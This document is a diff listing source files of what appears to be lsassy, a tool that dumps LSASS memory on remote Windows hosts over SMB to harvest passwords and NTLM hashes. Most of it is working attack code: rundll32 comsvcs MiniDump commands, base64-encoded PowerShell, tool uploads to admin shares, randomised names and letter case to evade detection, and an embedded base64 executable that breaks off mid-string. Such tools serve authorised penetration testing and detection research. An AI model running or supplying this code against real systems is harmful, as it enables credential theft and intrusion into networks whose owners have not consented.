240 if __name__ == '__main__':
241 run()
207 logging.debug("Cleaning...")
208 logging.debug("dumper: {}".format(dumper))
209 logging.debug("file: {}".format(file))
210 logging.debug("session: {}".format(session))
211 try:
212 dumper.clean()
213 logging.debug("Dumper cleaned")
214 except Exception as e:
215 logging.debug("Potential issue while cleaning dumper: {}".format(str(e)))
216
217 try:
218 file.close()
219 logging.debug("File closed")
220 except Exception as e:
221 logging.debug("Potential issue while closing file: {}".format(str(e)))
222
223 if not parse_only:
224 try:
225 if ImpacketFile.delete(session, file_path=file.get_file_path(), timeout=self.args.timeout):
226 logging.debug("Lsass dump successfully deleted")
227 except Exception as e:
228 try:
229 logging.debug("Couldn't delete lsass dump using file. Trying dump object...")
230 if ImpacketFile.delete(session, file_path=dumper.dump_path + dumper.dump_name, timeout=self.args.timeout):
231 logging.debug("Lsass dump successfully deleted")
232 except Exception as e:
233 logging.debug("Potential issue while deleting lsass dump: {}".format(str(e)))
234
235 try:
236 session.smb_session.close()
237 logging.debug("SMB session closed")
238 except Exception as e:
239 logging.debug("Potential issue while closing SMB session: {}".format(str(e)))⏎
+62
-0
lsassy/credential.py less more
0 import logging
1
2
3 class Credential:
4 """
5 Credential class to hold extracted credentials from remote hosts
6 """
7 def __init__(self, username="", password="", domain="", lmhash="", nthash="", sha1="", ssp=""):
8 self.username = username
9 self.password = password
10 self.domain = domain
11 self.lmhash = lmhash
12 self.nthash = nthash
13 self.sha1 = sha1
14 self.ssp = ssp
15
16 def get_username(self):
17 """
18 Get credential username
19 :return: username
20 """
21 return self.username
22
23 def get_password(self):
24 """
25 Get credential password
26 :return: password
27 """
28 return self.password
29
30 def get_domain(self):
31 """
32 Get credential domain
33 :return: domain
34 """
35 return self.domain
36
37 @staticmethod
38 def _decode(data):
39 """
40 Ugly trick because of mixed content coming back from pypykatz
41 Can be either string, bytes, None
42 """
43 try:
44 return data.decode('utf-8', 'backslashreplace')
45 except Exception:
46 return data
47
48 def get_object(self):
49 """
50 Transform credential instance into dictionary
51 :return: dict with credentials information
52 """
53 return {
54 "username": self.username,
55 "password": self.password,
56 "domain": self.domain,
57 "lmhash": self.lmhash,
58 "nthash": self.nthash,
59 "sha1": self.sha1,
60 "ssp": self.ssp
61 }
+41
-0
lsassy/dumper.py less more
0 import logging
1 import importlib
2 import os
3
4
5 class Dumper:
6 """
7 Loader class to handle dump methods.
8
9 This class looks for provided dump module name in `dumpmethod` package and returns an instance of this dump method.
10 Returns None if doesn't exist.
11 """
12 def __init__(self, session, timeout):
13
14 self._session = session
15 self._timeout = timeout
16
17 def load(self, dump_module):
18 """
19 Load provided dump module
20 :param dump_module: class name of dump module in dumpmethod package
21 :return: instance of dump module
22 """
23 try:
24 return importlib.import_module("lsassy.dumpmethod.{}".format(dump_module.lower()), "DumpMethod").DumpMethod(self._session, self._timeout)
25 except ModuleNotFoundError:
26 logging.warning("Dump module '{}' doesn't exist".format(dump_module))
27 return None
28 except Exception:
29 logging.warning("Unknown error while loading '{}'".format(dump_module), exc_info=True)
30 return None
31
32 @staticmethod
33 def list():
34 return [
35 "comsvcs",
36 "comsvcs_stealth",
37 "procdump",
38 "dumpert",
39 "dumpertdll",
40 ]
+169
-0
lsassy/dumpmethod/__init__.py less more
0 import logging
1 import importlib
2 import base64
3 import random
4 import string
5 import time
6
7 from lsassy.impacketfile import ImpacketFile
8
9
10 class IDumpMethod:
11
12 need_debug_privilege = False
13 custom_dump_path_support = True
14 custom_dump_name_support = True
15
16 dump_name = ""
17 dump_share = "C$"
18 dump_path = "\\Windows\\Temp\\"
19
20 exec_methods = ("smb", "wmi", "task", "mmc")
21
22 def __init__(self, session, timeout, *args, **kwargs):
23 self._session = session
24 self._file = ImpacketFile(self._session)
25 self._file_handle = None
26 self._timeout = timeout
27
28 def get_exec_method(self, exec_method, no_powershell=False):
29 try:
30 exec_method = importlib.import_module("lsassy.exec.{}".format(exec_method.lower()), "Exec").Exec(self._session)
31 except ModuleNotFoundError:
32 logging.error("Exec module '{}' doesn't exist".format(exec_method.lower()), exc_info=True)
33 return None
34
35 if not self.need_debug_privilege or exec_method.debug_privilege:
36 return exec_method
37
38 if no_powershell:
39 return None
40
41 return exec_method
42
43 def get_commands(self):
44 raise NotImplementedError
45
46 def prepare(self, options):
47 return True
48
49 def clean(self):
50 return True
51
52 def exec_method(self):
53 return self.need_debug_privilege
54
55 def build_exec_command(self, commands, exec_method, no_powershell=False):
56 logging.debug("Building command - Exec Method has seDebugPrivilege: {} | seDebugPrivilege needed: {} | Powershell allowed: {}".format(exec_method.debug_privilege, self.need_debug_privilege, not no_powershell))
57 if commands["cmd"] is not None and (not self.need_debug_privilege or exec_method.debug_privilege):
58 logging.debug(commands["cmd"])
59 built_command = """cmd.exe /Q /c {}""".format(commands["cmd"])
60 elif commands["pwsh"] is not None and not no_powershell:
61 logging.debug(commands["pwsh"])
62 command = base64.b64encode(commands["pwsh"].encode('UTF-16LE')).decode("utf-8")
63 built_command = "powershell.exe -NoP -Enc {}".format(command)
64 else:
65 logging.error("Shouldn't fall here. Incompatible constraints")
66 return None
67 return built_command
68
69 def dump(self, dump_path=None, dump_name=None, no_powershell=False, exec_methods=None, timeout=5, **kwargs):
70 logging.info("Dumping via {}".format(self.__module__))
71 if exec_methods is not None:
72 self.exec_methods = exec_methods
73
74 if dump_name is not None:
75 if not self.custom_dump_name_support:
76 logging.warning("A custom dump name was provided, but dump method {} doesn't support custom dump name".format(self.__module__))
77 logging.warning("Dump file will be {}".format(self.dump_name))
78 else:
79 self.dump_name = dump_name
80 elif self.dump_name == "":
81 ext = ["csv", "db", "dbf", "log", "sav", "sql", "tar", "xml", "fnt", "fon", "otf", "ttf", "bak", "cfg",
82 "cpl", "cur", "dll", "drv", "icns", "ico", "ini", "lnk", "msi", "sys", "tmp", "doc", "docx", "odt",
83 "pdf", "rtf", "tex", "txt", "wpd", "png", "jpg"]
84 self.dump_name = "{}.{}".format(
85 ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(3,9))),
86 random.choice(ext))
87
88 if dump_path is not None:
89 if not self.custom_dump_path_support:
90 logging.warning("A custom dump path was provided, but dump method {} doesn't support custom dump path".format(self.__module__))
91 logging.warning("Dump path will be {}{}".format(self.dump_share, self.dump_path))
92 else:
93 self.dump_path = dump_path
94
95 valid_exec_methods = {}
96 for e in self.exec_methods:
97 exec_method = self.get_exec_method(e, no_powershell)
98 if exec_method is not None:
99 valid_exec_methods[e] = exec_method
100 else:
101 logging.debug("Exec method '{}' is not compatible".format(e))
102
103 if len(valid_exec_methods) == 0:
104 logging.error("Current dump constrains cannot be fulfilled")
105 logging.debug("Dump class: {} (Need SeDebugPrivilege: {})".format(self.__module__, self.need_debug_privilege))
106 logging.debug("Exec methods: {}".format(self.exec_methods))
107 logging.debug("Powershell allowed: {}".format("No" if no_powershell else "Yes"))
108 return None
109
110 if self.prepare(kwargs) is None:
111 logging.error("Module prerequisites could not be processed")
112 self.clean()
113 return None
114
115 try:
116 commands = self.get_commands()
117 except NotImplementedError:
118 logging.warning("Module '{}' hasn't implemented all required methods".format(self.__module__))
119 return None
120
121 if not isinstance(commands, dict) or "cmd" not in commands or "pwsh" not in commands:
122 logging.warning("Return value of {} was not expected. Expecting {'cmd':'...', 'pwsh':'...'}")
123 return None
124
125 for e, exec_method in valid_exec_methods.items():
126 logging.info("Trying {} method".format(e))
127 exec_command = self.build_exec_command(commands, exec_method, no_powershell)
128 if exec_command is None:
129 # Shouldn't fall there, but if we do, just skip to next execution method
130 continue
131 logging.debug("Transformed command: {}".format(exec_command))
132 try:
133 if not exec_method.exec(exec_command):
134 logging.error("Failed to dump lsass using {}".format(e))
135 self.clean()
136 continue
137 self._file_handle = self._file.open(self.dump_share, self.dump_path, self.dump_name, timeout=timeout)
138 if self._file_handle is None:
139 logging.error("Failed to dump lsass using {}".format(e))
140 self.clean()
141 continue
142 logging.success("Lsass dumped successfully in C:{}{} ({} Bytes)".format(self.dump_path, self.dump_name, self._file_handle.size()))
143 self.clean()
144 return self._file_handle
145 except Exception:
146 logging.error("Execution method {} has failed".format(exec_method.__module__), exc_info=True)
147 continue
148 logging.error("All execution methods have failed")
149 self.clean()
150 return None
151
152 def failsafe(self, timeout=3):
153 t = time.time()
154 while True:
155 if self._file_handle is not None:
156 self._file_handle.delete(timeout=timeout)
157 else:
158 try:
159 self._session.smb_session.deleteFile(self.dump_share, self.dump_path + "/" + self.dump_name)
160 logging.debug("Lsass dump successfully deleted")
161 except Exception as e:
162 if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e):
163 return True
164 if time.time() - t > timeout:
165 logging.warning("Lsass dump wasn't removed in {}{}".format(self.dump_share, self.dump_path + "/" + self.dump_name), exc_info=True)
166 return None
167 logging.debug("Unable to delete lsass dump file {}{}. Retrying...".format(self.dump_share, self.dump_path + "/" + self.dump_name))
168 time.sleep(0.5)
+18
-0
lsassy/dumpmethod/comsvcs.py less more
0 from lsassy.dumpmethod import IDumpMethod
1
2
3 class DumpMethod(IDumpMethod):
4
5 need_debug_privilege = True
6
7 def get_commands(self):
8 cmd_command = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {}{} full""".format(
9 self.dump_path, self.dump_name
10 )
11 pwsh_command = """rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).Id {}{} full""".format(
12 self.dump_path, self.dump_name
13 )
14 return {
15 "cmd": cmd_command,
16 "pwsh": pwsh_command
17 }
+69
-0
lsassy/dumpmethod/comsvcs_stealth.py less more
0 from lsassy.dumpmethod import IDumpMethod
1 from lsassy.impacketfile import ImpacketFile
2 import logging
3 import random
4 import string
5
6
7 class CustomBuffer():
8 def __init__(self):
9 self._buffer = b""
10 self._currentOffset = 0
11 self._total_read = 0
12
13 def read(self, size):
14 if self._currentOffset >= len(self._buffer):
15 return b""
16 self._currentOffset += size
17 buff = self._buffer[self._currentOffset - size: min(self._currentOffset, len(self._buffer))]
18 self._currentOffset = min(self._currentOffset, len(self._buffer))
19 return buff
20
21 def write(self, stream):
22 self._buffer += stream
23
24
25 class DumpMethod(IDumpMethod):
26
27 need_debug_privilege = True
28
29 def __init__(self, session, timeout):
30 super().__init__(session, timeout)
31 self.comsvcs_copied = False
32 self.comsvcs_copy_name = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".dll"
33 self.comsvcs_copy_path = "\\Windows\\Temp\\"
34 logging.debug("Comsvcss.dll will be copied to {}{}".format(self.comsvcs_copy_path, self.comsvcs_copy_name))
35
36 def random_case(self, s):
37 return ''.join(c.upper() if random.getrandbits(1) == 1 else c.lower() for c in s)
38
39 def get_commands(self):
40 tasklist = self.random_case("tasklist")
41 lsass = self.random_case("lsass")
42 cmd_command = """for /f "tokens=1,2 delims= " ^%A in ('"{} /fi "Imagename eq {}.ex*" | find "lsass""') do rundll32.exe C:{}{} #24 ^%B {}{} full""".format(
43 tasklist, lsass, self.comsvcs_copy_path, self.comsvcs_copy_name, self.dump_path, self.dump_name
44 )
45 pwsh_command = """rundll32.exe C:{}{} `#24 (Get-Process {}).Id {}{} full""".format(
46 self.comsvcs_copy_path, self.comsvcs_copy_name, lsass, self.dump_path, self.dump_name
47 )
48 return {
49 "cmd": cmd_command,
50 "pwsh": pwsh_command
51 }
52
53 def prepare(self, options):
54 try:
55 logging.info("Opening comsvcs.dll")
56 buff = CustomBuffer()
57 self._session.smb_session.getFile("C$", "\\Windows\\System32\\comsvcs.dll", buff.write)
58 self._session.smb_session.putFile("C$", self.comsvcs_copy_path + self.comsvcs_copy_name, buff.read)
59 logging.success("Comsvcs.dll successfuly copied")
60 self.comsvcs_copied = True
61 return True
62 except Exception as e:
63 print(e)
64 return None
65
66 def clean(self):
67 if self.comsvcs_copied:
68 ImpacketFile.delete(self._session, self.comsvcs_copy_path + self.comsvcs_copy_name, timeout=self._timeout)
+101
-0
lsassy/dumpmethod/dllinject.py less more
0 import logging
1 import os
2 import time
3
4 from lsassy.dumpmethod import IDumpMethod
5 from lsassy.impacketfile import ImpacketFile
6
7
8 class DumpMethod(IDumpMethod):
9 custom_dump_path_support = False
10 custom_dump_name_support = False
11
12 dump_name = "tmp.dmp"
13 dump_share = "C$"
14 dump_path = "\\Windows\\Temp\\"
15 def __init__(self, session, timeout):
16 super().__init__(session, timeout)
17 self.loader = "loader.exe"
18 self.loader_path = False
19 self.loader_remote_share = "C$"
20 self.loader_remote_path = "\\Windows\\Temp\\"
21
22 self.loader_uploaded = False
23
24 self.dll = "calc.dll"
25 self.dll_path = False
26 self.dll_remote_share = "C$"
27 self.dll_remote_path = "\\Windows\\Temp\\"
28
29 self.dll_uploaded = False
30
31 def prepare(self, options):
32 self.loader_path = options.get("loader_path", self.loader_path)
33
34 if not self.loader_path:
35 logging.error("Missing loader_path")
36 return None
37
38 if not os.path.exists(self.loader_path):
39 logging.error("{} does not exist.".format(self.loader_path))
40 return None
41
42 self.dll_path = options.get("dll_path", self.dll_path)
43
44 if not self.dll_path:
45 logging.error("Missing dll_path")
46 return None
47
48 if not os.path.exists(self.dll_path):
49 logging.error("{} does not exist.".format(self.dll_path))
50 return None
51
52 # Upload loader
53 logging.debug('Copy {} to {}'.format(self.loader_path, self.loader_remote_path))
54 with open(self.loader_path, 'rb') as p:
55 try:
56 self._session.smb_session.putFile(self.loader_remote_share, self.loader_remote_path + self.loader, p.read)
57 logging.success("Loader successfully uploaded")
58 self.loader_uploaded = True
59 except Exception as e:
60 logging.error("Loader upload error", exc_info=True)
61 return None
62
63 # Upload dll
64 logging.debug('Copy {} to {}'.format(self.dll_path, self.dll_remote_path))
65 with open(self.dll_path, 'rb') as p:
66 try:
67 self._session.smb_session.putFile(self.dll_remote_share,
68 self.dll_remote_path + self.dll, p.read)
69 logging.success("DLL successfully uploaded")
70 self.dll_uploaded = True
71 return True
72 except Exception as e:
73 logging.error("DLL upload error", exc_info=True)
74 self.clean_loader()
75 return None
76
77 def clean_loader(self):
78 if self.loader_uploaded:
79 ImpacketFile.delete(self._session, self.loader_remote_path + self.loader, timeout=self._timeout)
80
81 def clean_dll(self):
82 if self.dll_uploaded:
83 ImpacketFile.delete(self._session, self.dll_remote_path + self.dll, timeout=self._timeout)
84
85 def clean(self):
86 self.clean_loader()
87 self.clean_dll()
88
89
90 def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
91 cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {}{} %J""".format(
92 self.loader_remote_path, self.loader
93 )
94 pwsh_command = """{}{} (Get-Process lsass).Id""".format(
95 self.loader_remote_path, self.loader
96 )
97 return {
98 "cmd": cmd_command,
99 "pwsh": pwsh_command
100 }
+70
-0
lsassy/dumpmethod/dummy.py.tpl less more
0 import logging
1 import os
2 import time
3
4 from lsassy.dumpmethod import IDumpMethod
5
6
7 class DumpMethod(IDumpMethod):
8 """
9 Dummy dump class that can be used to implement your own dumping method
10 """
11
12 """
13 If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to False
14 and uncomment 'dump_name' to provide expected dumpfile name on remote system.
15 """
16 custom_dump_name_support = True # Default: True
17 # dump_name = "" # Default: Random dumpfile name
18
19 """
20 If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to False
21 and uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.
22 """
23 custom_dump_path_support = True # Default: True
24 # dump_share = "" # Default: "C$"
25 # dump_path = "" # Default: "\\Windows\\Temp\\"
26
27 def __init__(self, session, timeout):
28 """
29 * Optional *
30 Initiates self._session and self._file in super().
31 Do not remove "super().__init__(session)" call if keeping __init__
32 """
33 super().__init__(session, timeout)
34
35 """
36 You can set custom variable in this section for later use
37 """
38 # self.tool = "/opt/tools/tool.exe"
39
40 def get_commands(self):
41 """
42 * Mandatory *
43 Build dump commands.
44 :return: Dumping commands
45 """
46 cmd_command = ""
47 pwsh_command = ""
48 return {
49 "cmd": cmd_command,
50 "pwsh": pwsh_command
51 }
52
53 def prepare(self, options):
54 """
55 * Optional *
56 Called before executing dump command. Can be useful to upload necessary tools for dumping lsass.
57 See procdump.py for example
58 :param options: Dictionary containing all unexpected parameters provided in get_dump_file()
59 """
60 # self.tool = options.get("tool", self.tool)
61 # Upload self.tool to remote server
62
63 def clean(self):
64 """
65 * Optional *
66 Called after executing dump command. Can be useful to remove uploaded tools.
67 See procdump.py for example
68 """
69 # Delete self.tool on remote server
+61
-0
lsassy/dumpmethod/dumpert.py less more
0 import logging
1 import os
2
3 from lsassy.dumpmethod import IDumpMethod
4 from lsassy.impacketfile import ImpacketFile
5
6
7 class DumpMethod(IDumpMethod):
8 custom_dump_path_support = False
9 custom_dump_name_support = False
10
11 dump_name = "dumpert.dmp"
12 dump_share = "C$"
13 dump_path = "\\Windows\\Temp\\"
14
15 def __init__(self, session, timeout):
16 super().__init__(session, timeout)
17 self.dumpert = "dumpert.exe"
18 self.dumpert_path = False
19 self.dumpert_remote_share = "C$"
20 self.dumpert_remote_path = "\\Windows\\Temp\\"
21
22 self.dumpert_uploaded = False
23
24 def prepare(self, options):
25 self.dumpert = options.get("dumpert", self.dumpert)
26 self.dumpert_path = options.get("dumpert_path", self.dumpert_path)
27 self.dumpert_remote_share = options.get("dumpert_remote_share", self.dumpert_remote_share)
28 self.dumpert_remote_path = options.get("dumpert_remote_path", self.dumpert_remote_path)
29
30 if not self.dumpert_path:
31 logging.error("Missing dumpert_path")
32 return None
33
34 if not os.path.exists(self.dumpert_path):
35 logging.error("{} does not exist.".format(self.dumpert_path))
36 return None
37
38 # Upload dumpert
39 logging.debug('Copy {} to {}'.format(self.dumpert_path, self.dumpert_remote_path))
40 with open(self.dumpert_path, 'rb') as p:
41 try:
42 self._session.smb_session.putFile(self.dumpert_remote_share, self.dumpert_remote_path + self.dumpert, p.read)
43 logging.success("dumpert successfully uploaded")
44 self.dumpert_uploaded = True
45 return True
46 except Exception as e:
47 logging.error("dumpert upload error", exc_info=True)
48 return None
49
50 def clean(self):
51 if self.dumpert_uploaded:
52 ImpacketFile.delete(self._session, self.dumpert_remote_path + self.dumpert, timeout=self._timeout)
53
54 def get_commands(self):
55 cmd_command = """{}{}""".format(self.dumpert_remote_path, self.dumpert)
56 pwsh_command = cmd_command
57 return {
58 "cmd": cmd_command,
59 "pwsh": pwsh_command
60 }
+61
-0
lsassy/dumpmethod/dumpertdll.py less more
0 import logging
1 import os
2
3 from lsassy.dumpmethod import IDumpMethod
4 from lsassy.impacketfile import ImpacketFile
5
6
7 class DumpMethod(IDumpMethod):
8 custom_dump_path_support = False
9 custom_dump_name_support = False
10
11 dump_name = "dumpert.dmp"
12 dump_share = "C$"
13 dump_path = "\\Windows\\Temp\\"
14
15 def __init__(self, session, timeout):
16 super().__init__(session, timeout)
17 self.dumpertdll = "dumpert.dll"
18 self.dumpertdll_path = False
19 self.dumpertdll_remote_share = "C$"
20 self.dumpertdll_remote_path = "\\Windows\\Temp\\"
21
22 self.dumpertdll_uploaded = False
23
24 def prepare(self, options):
25 self.dumpertdll = options.get("dumpertdll", self.dumpertdll)
26 self.dumpertdll_path = options.get("dumpertdll_path", self.dumpertdll_path)
27 self.dumpertdll_remote_share = options.get("dumpertdll_remote_share", self.dumpertdll_remote_share)
28 self.dumpertdll_remote_path = options.get("dumpertdll_remote_path", self.dumpertdll_remote_path)
29
30 if not self.dumpertdll_path:
31 logging.error("Missing dumpertdll_path")
32 return None
33
34 if not os.path.exists(self.dumpertdll_path):
35 logging.error("{} does not exist.".format(self.dumpertdll_path))
36 return None
37
38 # Upload dumpertdll
39 logging.debug('Copy {} to {}'.format(self.dumpertdll_path, self.dumpertdll_remote_path))
40 with open(self.dumpertdll_path, 'rb') as p:
41 try:
42 self._session.smb_session.putFile(self.dumpertdll_remote_share, self.dumpertdll_remote_path + self.dumpertdll, p.read)
43 logging.success("dumpertdll successfully uploaded")
44 self.dumpertdll_uploaded = True
45 return True
46 except Exception as e:
47 logging.error("dumpertdll upload error", exc_info=True)
48 return None
49
50 def clean(self):
51 if self.dumpertdll_uploaded:
52 ImpacketFile.delete(self._session, self.dumpertdll_remote_path + self.dumpertdll, timeout=self._timeout)
53
54 def get_commands(self):
55 cmd_command = """rundll32.exe {}{},Dump""".format(self.dumpertdll_remote_path, self.dumpertdll)
56 pwsh_command = cmd_command
57 return {
58 "cmd": cmd_command,
59 "pwsh": pwsh_command
60 }
+61
-0
lsassy/dumpmethod/ppldump.py less more
0 import logging
1 import os
2 import time
3
4 from lsassy.dumpmethod import IDumpMethod
5 from lsassy.impacketfile import ImpacketFile
6
7
8 class DumpMethod(IDumpMethod):
9 def __init__(self, session, timeout):
10 super().__init__(session, timeout)
11 self.ppldump = "PPLdump.exe"
12 self.ppldump_path = False
13 self.ppldump_remote_share = "C$"
14 self.ppldump_remote_path = "\\Windows\\Temp\\"
15
16 self.ppldump_uploaded = False
17
18 def prepare(self, options):
19 self.ppldump = options.get("ppldump", self.ppldump)
20 self.ppldump_path = options.get("ppldump_path", self.ppldump_path)
21 self.ppldump_remote_share = options.get("ppldump_remote_share", self.ppldump_remote_share)
22 self.ppldump_remote_path = options.get("ppldump_remote_path", self.ppldump_remote_path)
23
24 if not self.ppldump_path:
25 logging.error("Missing ppldump_path")
26 return None
27
28 if not os.path.exists(self.ppldump_path):
29 logging.error("{} does not exist.".format(self.ppldump_path))
30 return None
31
32 # Upload ppldump
33 logging.debug('Copy {} to {}'.format(self.ppldump_path, self.ppldump_remote_path))
34 with open(self.ppldump_path, 'rb') as p:
35 try:
36 self._session.smb_session.putFile(self.ppldump_remote_share, self.ppldump_remote_path + self.ppldump, p.read)
37 logging.success("PPLdump successfully uploaded")
38 self.ppldump_uploaded = True
39 return True
40 except Exception as e:
41 logging.error("PPLdump upload error", exc_info=True)
42 return None
43
44 def clean(self):
45 if self.ppldump_uploaded:
46 ImpacketFile.delete(self._session, self.ppldump_remote_path + self.ppldump, timeout=self._timeout)
47
48 def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
49 cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {}{} %J {}{}""".format(
50 self.ppldump_remote_path, self.ppldump,
51 self.dump_path, self.dump_name
52 )
53 pwsh_command = """{}{} (Get-Process lsass).Id {}{}""".format(
54 self.ppldump_remote_path, self.ppldump,
55 self.dump_path, self.dump_name
56 )
57 return {
58 "cmd": cmd_command,
59 "pwsh": pwsh_command
60 }
+53
-0
lsassy/dumpmethod/ppldump_embedded.py less more
0 import logging
1 import os
2 import time
3 import base64
4 import random
5 import string
6
7 from lsassy.impacketfile import ImpacketFile
8
9 from lsassy.dumpmethod import IDumpMethod
10
11
12 class DumpMethod(IDumpMethod):
13 def __init__(self, session, timeout):
14 super().__init__(session, timeout)
15 self.ppldump_content = base64.b64decode("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